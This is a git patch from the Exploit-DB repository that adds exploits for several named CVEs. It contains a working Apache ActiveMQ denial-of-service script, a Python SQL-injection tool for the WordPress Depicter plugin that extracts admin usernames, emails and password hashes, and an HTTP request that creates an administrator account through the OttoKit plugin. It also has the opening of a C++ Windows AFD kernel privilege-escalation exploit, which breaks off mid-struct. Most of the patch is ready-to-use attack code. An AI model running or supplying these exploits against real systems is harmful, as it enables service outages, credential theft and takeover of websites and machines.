From 9044a602bb29912cd292b973d24d388017fea83f Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Sat, 10 May 2025 00:16:28 +0000 Subject: [PATCH] DB: 2025-05-10 6 changes to exploits/shellcodes/ghdb Apache ActiveMQ 6.1.6 - Denial of Service (DOS) SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation WordPress Depicter Plugin 3.6.1 - SQL Injection Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation VirtualBox 7.0.16 - Privilege Escalation --- exploits/multiple/remote/52288.py | 262 +++++++++ exploits/multiple/webapps/52285.py | 232 ++++++++ exploits/multiple/webapps/52286.txt | 33 ++ exploits/windows/local/52284.C++ | 883 ++++++++++++++++++++++++++++ exploits/windows/local/52287.C++ | 499 ++++++++++++++++ files_exploits.csv | 5 + 6 files changed, 1914 insertions(+) create mode 100755 exploits/multiple/remote/52288.py create mode 100755 exploits/multiple/webapps/52285.py create mode 100644 exploits/multiple/webapps/52286.txt create mode 100644 exploits/windows/local/52284.C++ create mode 100644 exploits/windows/local/52287.C++ diff --git a/exploits/multiple/remote/52288.py b/exploits/multiple/remote/52288.py new file mode 100755 index 000000000..7e3d11604 --- /dev/null +++ b/exploits/multiple/remote/52288.py @@ -0,0 +1,262 @@ +# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS) +# Date: 2025-05-9 +# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/) +# Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ +# CVE: CVE-2025-27533 + +import socket +import struct +import time +import datetime +import threading +import requests +import argparse +import random +from colorama import init, Fore +from tabulate import tabulate +from tqdm import tqdm +from concurrent.futures import ThreadPoolExecutor + +init() + +def print_banner(): + banner = f""" +{Fore.CYAN}============================================================ + CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS +============================================================ +{Fore.YELLOW}Developed by: absholi7ly +{Fore.CYAN}============================================================{Fore.RESET} + """ + print(banner) + +def _check_server_availability(host, port, admin_port=8161, timeout=2): + """Internal function to check server availability""" + tcp_reachable = False + admin_reachable = False + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + sock.close() + tcp_reachable = True + except (socket.timeout, ConnectionRefusedError): + pass + + try: + response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout) + admin_reachable = response.status_code == 200 + except (requests.Timeout, requests.ConnectionError): + pass + + return tcp_reachable, admin_reachable + +def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5): + for _ in range(retries): + tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout) + if not tcp_reachable: + return False, admin_reachable + time.sleep(0.5) + return True, admin_reachable + +def parse_hex_or_int(value): + try: + if value.startswith('0x') or value.startswith('0X'): + return int(value, 16) + return int(value) + except ValueError: + raise ValueError(f"Invalid integer or hex value: {value}") + +def create_malicious_packet(buffer_size=0x1E00000, packet_id=1): + command_type = 0x01 + client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode() + version = 12 + + packet = bytearray() + packet += b'\x00\x00\x00\x00' + packet += struct.pack("B", command_type) + packet += struct.pack(">I", len(client_id)) + packet += client_id + packet += struct.pack(">I", version) + packet += struct.pack(">I", buffer_size) + packet += bytes(random.randint(0, 255) for _ in range(50)) + + packet_length = len(packet) - 4 + packet[0:4] = struct.pack(">I", packet_length) + + return packet + +def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event): + if stop_event.is_set(): + return + + timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] + tcp_reachable, admin_reachable = check_server_availability(host, port) + status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}" + local_port = "N/A" + connection_status = "Success" + + max_connect_retries = 5 + for connect_attempt in range(max_connect_retries): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + + try: + sock.connect((host, port)) + local_port = sock.getsockname()[1] + print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}") + + max_retries = 3 + for attempt in range(max_retries): + try: + sock.send(packet) + print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}") + try: + response = sock.recv(2048) + response_len = len(response) + connection_status = f"Success (Response: {response_len} bytes)" + except: + connection_status = "Success (No Response)" + break + except socket.error as e: + connection_status = f"Failed: {str(e)}" + if attempt < max_retries - 1: + print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}") + time.sleep(0.5) + continue + else: + print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}") + + packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status]) + break + + except socket.timeout: + print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}") + packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"]) + break + except socket.error as e: + error_str = str(e) + if "10053" in error_str: + error_type = "Connection Reset" + elif "timeout" in error_str: + error_type = "Timeout" + else: + error_type = "Other" + if "10053" in error_str and connect_attempt < max_connect_retries - 1: + print(f"{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection...{Fore.RESET}") + time.sleep(1) + continue + print(f"{Fore.RED}[-] Error connecting for Packet {packet_num}/{total_packets} (Port: {local_port}): {e}{Fore.RESET}") + packet_status.append([packet_num, timestamp, f"Error: {error_type}", local_port, f"Packet-{packet_num:04d}", f"Error: {error_str}"]) + break + + finally: + sock.close() + + packet = None + +def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]): + packet_status = [] + stop_event = threading.Event() + max_threads = 2 + + pbar = tqdm(total=total_packets, desc="Sending Packets", unit="packet") + + def monitor_server(): + while not stop_event.is_set(): + tcp_reachable, _ = check_server_availability(host, port) + if not tcp_reachable: + print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}") + stop_event.set() + break + time.sleep(1) + + monitor_thread = threading.Thread(target=monitor_server) + monitor_thread.start() + + packet_num = 1 + with ThreadPoolExecutor(max_workers=max_threads) as executor: + futures = [] + while packet_num <= total_packets and not stop_event.is_set(): + buffer_size = random.choice(buffer_sizes) + packet = create_malicious_packet(buffer_size, packet_num) + future = executor.submit( + send_single_packet, + host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event + ) + futures.append(future) + packet_num += 1 + pbar.update(1) + time.sleep(random.uniform(0.3, 0.5)) + + if packet_num % 50 == 0: + tcp_reachable, _ = check_server_availability(host, port) + time.sleep(2) + if not tcp_reachable: + print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}") + stop_event.set() + break + print(f"{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}") + + pbar.close() + stop_event.set() + monitor_thread.join() + + packet_status.sort(key=lambda x: x[0]) + + total_sent = len(packet_status) + successful = sum(1 for p in packet_status if p[5].startswith("Success")) + failed = total_sent - successful + + print(f"\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}") + print(tabulate( + packet_status, + headers=["Packet #", "Timestamp", "Server Status", "Local Port", "Packet ID", "Connection"], + tablefmt="fancy_grid", + stralign="center", + numalign="center" + )) + + print(f"\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}") + print(f" - Total Packets Sent: {total_sent}") + print(f" - Successful Packets: {successful} ({successful/total_sent*100:.2f}%)") + print(f" - Failed Packets: {failed} ({failed/total_sent*100:.2f}%)") + + tcp_reachable, admin_reachable = check_server_availability(host, port) + print(f"\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}") + if not tcp_reachable: + print(f"{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}") + else: + print(f"{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}") + + return packet_status + +def main(): + print_banner() + + parser = argparse.ArgumentParser(description="CVE-2025-27533 Exploit PoC for Apache ActiveMQ") + parser.add_argument("--host", default="127.0.0.1", help="Target IP address") + parser.add_argument("--port", type=int, default=61616, help="OpenWire port") + parser.add_argument("--total-packets", type=int, default=2000, help="Total packets to send") + parser.add_argument("--buffer-sizes", type=parse_hex_or_int, nargs='+', default=[0x1E00000, 0x3200000], + help="Buffer sizes in bytes (decimal or hex)") + + args = parser.parse_args() + + print(f"{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}") + print(f" - Target: {args.host}:{args.port}") + print(f" - Total Packets: {args.total_packets}") + print(f" - Buffer Sizes: {[f'{size:#x} ({size // (1024*1024)} MB)' for size in args.buffer_sizes]}") + + print(f"\n{Fore.CYAN}[*] Sending malicious packets...{Fore.RESET}") + packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes) + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print(f"{Fore.RED}[-] Program interrupted by user.{Fore.RESET}") \ No newline at end of file diff --git a/exploits/multiple/webapps/52285.py b/exploits/multiple/webapps/52285.py new file mode 100755 index 000000000..a02d220b6 --- /dev/null +++ b/exploits/multiple/webapps/52285.py @@ -0,0 +1,232 @@ +# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection +# Google Dork: inurl:/wp-content/plugins/depicter/ +# Date: 2025-05-06 +# Exploit Author: Andrew Long (datagoboom) +# Vendor Homepage: https://wordpress.org/plugins/depicter/ +# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip +# Version: <= 3.6.1 +# Tested on: WordPress 6.x +# CVE: CVE-2025-2011 + +# Description: +# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1. +# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. +# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + +# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to: +# 1. Check if a target is vulnerable +# 2. Extract admin user details +# 3. Execute custom SQL queries + +# The exploit is provided as a Python script (poc.py) that includes: +# - Error-based SQL injection detection +# - Admin user information extraction +# - Custom SQL query execution capability +# - Debug mode for detailed output + + +#!/usr/bin/env python3 + +import argparse +import re +import sys +import time +import html +import urllib.parse +from urllib.parse import urlparse + +try: + import requests + from colorama import Fore, Style, init + init(autoreset=True) + USE_COLOR = True +except ImportError: + class MockColorama: + def __getattr__(self, name): + return "" + + Fore = Style = MockColorama() + USE_COLOR = False + + print("[!] Missing dependencies. Install with: pip install requests colorama") + print("[!] Continuing without colored output...") + +def print_banner(): + banner = f""" +{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗ +{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║ +{Fore.CYAN}║ {Fore.GREEN}By datagoboom {Fore.CYAN} ║ +{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} + """ + print(banner) + +def verify_target(url): + parsed_url = urlparse(url) + if not parsed_url.scheme: + url = "http://" + url + if url.endswith('/'): + url = url[:-1] + + print(f"{Fore.YELLOW}[*] Target URL: {url}") + return url + +def test_connection(url): + try: + response = requests.get(url, timeout=10) + if response.status_code == 200: + print(f"{Fore.GREEN}[+] Successfully connected to the target") + return True + else: + print(f"{Fore.RED}[-] Received status code {response.status_code}") + return False + except requests.exceptions.RequestException as e: + print(f"{Fore.RED}[-] Connection error: {e}") + return False + +def extract_data(url, sql_query, max_length=50, debug=False): + payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" + + target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}" + + try: + if debug: + print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}") + + response = requests.get(target_url, timeout=20) + + if debug: + print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}") + + decoded_text = html.unescape(response.text) + + error_pattern = r"XPATH syntax error: '~(.*?)~'" + match = re.search(error_pattern, decoded_text) + + if match: + extracted_data = match.group(1) + return extracted_data + else: + if debug: + print(f"{Fore.RED}[-] No XPATH syntax error found in response") + if "XPATH syntax error" in decoded_text: + print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:") + print(f"{Fore.RED}[-] {decoded_text[:500]}") + else: + print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:") + print(f"{Fore.RED}[-] {decoded_text[:500]}") + return None + except requests.exceptions.RequestException as e: + print(f"{Fore.RED}[-] Error during extraction: {e}") + return None + +def check_vulnerability(url, debug=False): + print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...") + + result = extract_data(url, "database()", debug=debug) + + if result: + print(f"{Fore.GREEN}[+] Target is VULNERABLE!") + print(f"{Fore.GREEN}[+] Database name: {result}") + return True + else: + result = extract_data(url, "VERSION()", debug=debug) + if result: + print(f"{Fore.GREEN}[+] Target is VULNERABLE!") + print(f"{Fore.GREEN}[+] MySQL version: {result}") + return True + else: + result = extract_data(url, "'test'", debug=debug) + if result: + print(f"{Fore.GREEN}[+] Target is VULNERABLE!") + print(f"{Fore.GREEN}[+] Test value: {result}") + return True + else: + print(f"{Fore.RED}[-] Target does not appear to be vulnerable") + manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index" + print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}") + return False + +def extract_admin_details(url, debug=False): + print(f"{Fore.YELLOW}[*] Extracting admin user details...") + + admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) + + if admin_username: + print(f"{Fore.GREEN}[+] Admin username: {admin_username}") + + admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) + if admin_email: + print(f"{Fore.GREEN}[+] Admin email: {admin_email}") + + hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) + if hash_left: + hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug) + if hash_right: + full_hash = hash_left + hash_right + else: + print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long") + print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}") + else: + print(f"{Fore.RED}[-] Failed to extract admin password hash") + + return { + "username": admin_username, + "email": admin_email, + "password_hash": hash_left + } + else: + print(f"{Fore.RED}[-] Failed to extract admin details") + return None + +def extract_custom_data(url, query, debug=False): + print(f"{Fore.YELLOW}[*] Executing custom SQL query...") + print(f"{Fore.YELLOW}[*] Query: {query}") + + result = extract_data(url, query, debug=debug) + + if result: + print(f"{Fore.GREEN}[+] Result: {result}") + return result + else: + print(f"{Fore.RED}[-] Failed to execute query or no results returned") + return None + +def main(): + parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder') + parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') + parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'], + help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query') + parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)') + parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output') + + args = parser.parse_args() + + print_banner() + + target_url = verify_target(args.url) + + if not test_connection(target_url): + print(f"{Fore.RED}[-] Exiting due to connection failure") + sys.exit(1) + + if not check_vulnerability(target_url, debug=args.debug): + if args.mode != 'check': + print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...") + else: + print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable") + sys.exit(1) + + if args.mode == 'check': + pass + elif args.mode == 'admin': + extract_admin_details(target_url, debug=args.debug) + elif args.mode == 'custom': + if not args.query: + print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)") + sys.exit(1) + extract_custom_data(target_url, args.query, debug=args.debug) + + print(f"\n{Fore.YELLOW}[!] Exploitation complete") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/multiple/webapps/52286.txt b/exploits/multiple/webapps/52286.txt new file mode 100644 index 000000000..1879be528 --- /dev/null +++ b/exploits/multiple/webapps/52286.txt @@ -0,0 +1,33 @@ + # Exploit Title: SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation +# Date: 2025-05-7 +# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/) + +# Affected: Versions All versions of OttoKit (SureTriggers) ≤ 1.0.82. + +Conditions for Exploitation + + +The vulnerability can be exploited under the following circumstances: + + 1. OttoKit must be installed and activated on the target WordPress site. + 2. The plugin *uninitialized* (e.g., no API key or "secret_key" is set + in the database). + 3. The target site displays the REST API endpoint + '/wp-json/sure-triggers/v1/automation/action'. + +------------------------------ +HTTP Request + +The following request targets the +/wp-json/sure-triggers/v1/automation/action endpoint to create an +administrator account: + +POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1 +Host: [target-site] +Content-Type: application/x-www-form-urlencoded +St-Authorization: +Content-Length: [length] + +selected_options[user_name]=new_admin&selected_options[user_email]= +attacker@example.com&selected_options[password]=StrongP@ssw0rd123 +&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists \ No newline at end of file diff --git a/exploits/windows/local/52284.C++ b/exploits/windows/local/52284.C++ new file mode 100644 index 000000000..a8bac492d --- /dev/null +++ b/exploits/windows/local/52284.C++ @@ -0,0 +1,883 @@ +# Exploit Title: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation +# Date: 2025-05-05 +# Exploit Author: Milad Karimi (Ex3ptionaL) +# Contact: miladgrayhat@gmail.com +# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL +# Tested on: Win x64 +# CVE : CVE-2024-38193 + +#pragma once + +#include "ntstatus.h" +#include "Windows.h" +#include + +#pragma comment(lib, "ntdll.lib") + + +#define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF)) +#define LODWORD(l) ((DWORD)((DWORDLONG)(l))) + +#define AfdOpenPacket "AfdOpenPacketXX" +#define AFD_DEVICE_NAME L"\\Device\\Afd" +#define LOCALHOST "127.0.0.1" + + +#define IOCTL_AFD_BIND 0x12003LL +#define IOCTL_AFD_LISTEN 0x1200BLL +#define IOCTL_AFD_CONNECT 0x120BBLL +#define IOCTL_AFD_GET_SOCK_NAME 0x1202FLL +#define FSCTL_PIPE_PEEK 0x11400CLL +#define FSCTL_PIPE_IMPERSONATE 0x11001CLL +#define FSCTL_PIPE_INTERNAL_WRITE 0x119FF8 + +#define OBJ_CASE_INSENSITIVE 0x00000040 +#define OBJ_INHERIT 0x00000002 +#define FILE_OPEN_IF 0x3 +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) + +#define OFFSET_IN_TOKEN_VARIABLEPART 0x490 +#define OFFSET_IN_TOKEN_TOKEN_PRIVILEGES 0x40 +#define OFFSET_IN_TOKEN_PRIMARY_GROUP 0xA8 +#define OFFSET_IN_TOKEN_DYNAMIC_PART 0xB0 +#define OFFSET_IN_TOKEN_DEFAULT_DACL 0xB8 +#define PREVIOUS_MODE_OFFSET 0x232 +#define OFFSET_TO_ACTIVE_PROCESS_LINKS 0x448 +#define OFFSET_TO_TOKEN 0x4b8 +#define CURRENT_THREAD (HANDLE)0xFFFFFFFFFFFFFFFE + + +typedef struct IO_STATUS_BLOCK +{ + union + { + DWORD Status; + PVOID Pointer; + }; + + DWORD* Information; +}; + +//0x4 bytes (sizeof) +struct _SYSTEM_POWER_STATE_CONTEXT +{ + union + { + struct + { + ULONG Reserved1 : 8; //0x0 + ULONG TargetSystemState : 4; //0x0 + ULONG EffectiveSystemState : 4; //0x0 + ULONG CurrentSystemState : 4; //0x0 + ULONG IgnoreHibernationPath : 1; //0x0 + ULONG PseudoTransition : 1; //0x0 + ULONG KernelSoftReboot : 1; //0x0 + ULONG DirectedDripsTransition : 1; //0x0 + ULONG Reserved2 : 8; //0x0 + }; + ULONG ContextAsUlong; //0x0 + }; +}; + +//0x4 bytes (sizeof) +union _POWER_STATE +{ + enum _SYSTEM_POWER_STATE SystemState; //0x0 + enum _DEVICE_POWER_STATE DeviceState; //0x0 +}; + +//0x48 bytes (sizeof) +typedef struct _IO_STACK_LOCATION +{ + UCHAR MajorFunction; //0x0 + UCHAR MinorFunction; //0x1 + UCHAR Flags; //0x2 + UCHAR Control; //0x3 + union + { + struct + { + struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 + ULONG Options; //0x10 + USHORT FileAttributes; //0x18 + USHORT ShareAccess; //0x1a + ULONG EaLength; //0x20 + } Create; //0x8 + struct + { + struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 + ULONG Options; //0x10 + USHORT Reserved; //0x18 + USHORT ShareAccess; //0x1a + struct _NAMED_PIPE_CREATE_PARAMETERS* Parameters; //0x20 + } CreatePipe; //0x8 + struct + { + struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 + ULONG Options; //0x10 + USHORT Reserved; //0x18 + USHORT ShareAccess; //0x1a + struct _MAILSLOT_CREATE_PARAMETERS* Parameters; //0x20 + } CreateMailslot; //0x8 + struct + { + ULONG Length; //0x8 + ULONG Key; //0x10 + ULONG Flags; //0x14 + union _LARGE_INTEGER ByteOffset; //0x18 + } Read; //0x8 + struct + { + ULONG Length; //0x8 + ULONG Key; //0x10 + ULONG Flags; //0x14 + union _LARGE_INTEGER ByteOffset; //0x18 + } Write; //0x8 + struct + { + ULONG Length; //0x8 + struct _UNICODE_STRING* FileName; //0x10 + enum _FILE_INFORMATION_CLASS FileInformationClass; //0x18 + ULONG FileIndex; //0x20 + } QueryDirectory; //0x8 + struct + { + ULONG Length; //0x8 + ULONG CompletionFilter; //0x10 + } NotifyDirectory; //0x8 + struct + { + ULONG Length; //0x8 + ULONG CompletionFilter; //0x10 + enum _DIRECTORY_NOTIFY_INFORMATION_CLASS +DirectoryNotifyInformationClass; //0x18 + } NotifyDirectoryEx; //0x8 + struct + { + ULONG Length; //0x8 + enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 + } QueryFile; //0x8 + struct + { + ULONG Length; //0x8 + enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 + struct _FILE_OBJECT* FileObject; //0x18 + union + { + struct + { + UCHAR ReplaceIfExists; //0x20 + UCHAR AdvanceOnly; //0x21 + }; + ULONG ClusterCount; //0x20 + VOID* DeleteHandle; //0x20 + }; + } SetFile; //0x8 + struct + { + ULONG Length; //0x8 + VOID* EaList; //0x10 + ULONG EaListLength; //0x18 + ULONG EaIndex; //0x20 + } QueryEa; //0x8 + struct + { + ULONG Length; //0x8 + } SetEa; //0x8 + struct + { + ULONG Length; //0x8 + enum _FSINFOCLASS FsInformationClass; //0x10 + } QueryVolume; //0x8 + struct + { + ULONG Length; //0x8 + enum _FSINFOCLASS FsInformationClass; //0x10 + } SetVolume; //0x8 + struct + { + ULONG OutputBufferLength; //0x8 + ULONG InputBufferLength; //0x10 + ULONG FsControlCode; //0x18 + VOID* Type3InputBuffer; //0x20 + } FileSystemControl; //0x8 + struct + { + union _LARGE_INTEGER* Length; //0x8 + ULONG Key; //0x10 + union _LARGE_INTEGER ByteOffset; //0x18 + } LockControl; //0x8 + struct + { + ULONG OutputBufferLength; //0x8 + ULONG InputBufferLength; //0x10 + ULONG IoControlCode; //0x18 + VOID* Type3InputBuffer; //0x20 + } DeviceIoControl; //0x8 + struct + { + ULONG SecurityInformation; //0x8 + ULONG Length; //0x10 + } QuerySecurity; //0x8 + struct + { + ULONG SecurityInformation; //0x8 + VOID* SecurityDescriptor; //0x10 + } SetSecurity; //0x8 + struct + { + struct _VPB* Vpb; //0x8 + struct _DEVICE_OBJECT* DeviceObject; //0x10 + } MountVolume; //0x8 + struct + { + struct _VPB* Vpb; //0x8 + struct _DEVICE_OBJECT* DeviceObject; //0x10 + } VerifyVolume; //0x8 + struct + { + struct _SCSI_REQUEST_BLOCK* Srb; //0x8 + } Scsi; //0x8 + struct + { + ULONG Length; //0x8 + VOID* StartSid; //0x10 + struct _FILE_GET_QUOTA_INFORMATION* SidList; //0x18 + ULONG SidListLength; //0x20 + } QueryQuota; //0x8 + struct + { + ULONG Length; //0x8 + } SetQuota; //0x8 + struct + { + enum _DEVICE_RELATION_TYPE Type; //0x8 + } QueryDeviceRelations; //0x8 + struct + { + struct _GUID* InterfaceType; //0x8 + USHORT Size; //0x10 + USHORT Version; //0x12 + struct _INTERFACE* Interface; //0x18 + VOID* InterfaceSpecificData; //0x20 + } QueryInterface; //0x8 + struct + { + struct _DEVICE_CAPABILITIES* Capabilities; //0x8 + } DeviceCapabilities; //0x8 + struct + { + struct _IO_RESOURCE_REQUIREMENTS_LIST* +IoResourceRequirementList; //0x8 + } FilterResourceRequirements; //0x8 + struct + { + ULONG WhichSpace; //0x8 + VOID* Buffer; //0x10 + ULONG Offset; //0x18 + ULONG Length; //0x20 + } ReadWriteConfig; //0x8 + struct + { + UCHAR Lock; //0x8 + } SetLock; //0x8 + struct + { + enum BUS_QUERY_ID_TYPE IdType; //0x8 + } QueryId; //0x8 + struct + { + enum DEVICE_TEXT_TYPE DeviceTextType; //0x8 + ULONG LocaleId; //0x10 + } QueryDeviceText; //0x8 + struct + { + UCHAR InPath; //0x8 + UCHAR Reserved[3]; //0x9 + enum _DEVICE_USAGE_NOTIFICATION_TYPE Type; //0x10 + } UsageNotification; //0x8 + struct + { + enum _SYSTEM_POWER_STATE PowerState; //0x8 + } WaitWake; //0x8 + struct + { + struct _POWER_SEQUENCE* PowerSequence; //0x8 + } PowerSequence; //0x8 + struct + { + union + { + ULONG SystemContext; //0x8 + struct _SYSTEM_POWER_STATE_CONTEXT SystemPowerStateContext; +//0x8 + }; + enum _POWER_STATE_TYPE Type; //0x10 + union _POWER_STATE State; //0x18 + enum POWER_ACTION ShutdownType; //0x20 + } Power; //0x8 + struct + { + struct _CM_RESOURCE_LIST* AllocatedResources; //0x8 + struct _CM_RESOURCE_LIST* AllocatedResourcesTranslated; //0x10 + } StartDevice; //0x8 + struct + { + ULONGLONG ProviderId; //0x8 + VOID* DataPath; //0x10 + ULONG BufferSize; //0x18 + VOID* Buffer; //0x20 + } WMI; //0x8 + struct + { + VOID* Argument1; //0x8 + VOID* Argument2; //0x10 + VOID* Argument3; //0x18 + VOID* Argument4; //0x20 + } Others; //0x8 + } Parameters; //0x8 + struct _DEVICE_OBJECT* DeviceObject; //0x28 + struct _FILE_OBJECT* FileObject; //0x30 + LONG(*CompletionRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* +arg2, VOID* arg3); //0x38 + VOID* Context; //0x40 +}IO_STACK_LOCATION; + +//0x18 bytes (sizeof) +struct _KDEVICE_QUEUE_ENTRY +{ + struct _LIST_ENTRY DeviceListEntry; //0x0 + ULONG SortKey; //0x10 + UCHAR Inserted; //0x14 +}; + +//0x58 bytes (sizeof) +struct _KAPC +{ + UCHAR Type; //0x0 + UCHAR AllFlags; //0x1 + UCHAR Size; //0x2 + UCHAR SpareByte1; //0x3 + ULONG SpareLong0; //0x4 + struct _KTHREAD* Thread; //0x8 + struct _LIST_ENTRY ApcListEntry; //0x10 + VOID* Reserved[3]; //0x20 + VOID* NormalContext; //0x38 + VOID* SystemArgument1; //0x40 + VOID* SystemArgument2; //0x48 + CHAR ApcStateIndex; //0x50 + CHAR ApcMode; //0x51 + UCHAR Inserted; //0x52 +}; +//0xd0 bytes (sizeof) +struct _IRP +{ + SHORT Type; //0x0 + USHORT Size; //0x2 + USHORT AllocationProcessorNumber; //0x4 + USHORT Reserved; //0x6 + struct _MDL* MdlAddress; //0x8 + ULONG Flags; //0x10 + union + { + struct _IRP* MasterIrp; //0x18 + LONG IrpCount; //0x18 + VOID* SystemBuffer; //0x18 + } AssociatedIrp; //0x18 + struct _LIST_ENTRY ThreadListEntry; //0x20 + struct IO_STATUS_BLOCK IoStatus; //0x30 + CHAR RequestorMode; //0x40 + UCHAR PendingReturned; //0x41 + CHAR StackCount; //0x42 + CHAR CurrentLocation; //0x43 + UCHAR Cancel; //0x44 + UCHAR CancelIrql; //0x45 + CHAR ApcEnvironment; //0x46 + UCHAR AllocationFlags; //0x47 + union + { + struct _IO_STATUS_BLOCK* UserIosb; //0x48 + VOID* IoRingContext; //0x48 + }; + struct _KEVENT* UserEvent; //0x50 + union + { + struct + { + union + { + VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* +arg2, ULONG arg3); //0x58 + VOID* IssuingProcess; //0x58 + }; + union + { + VOID* 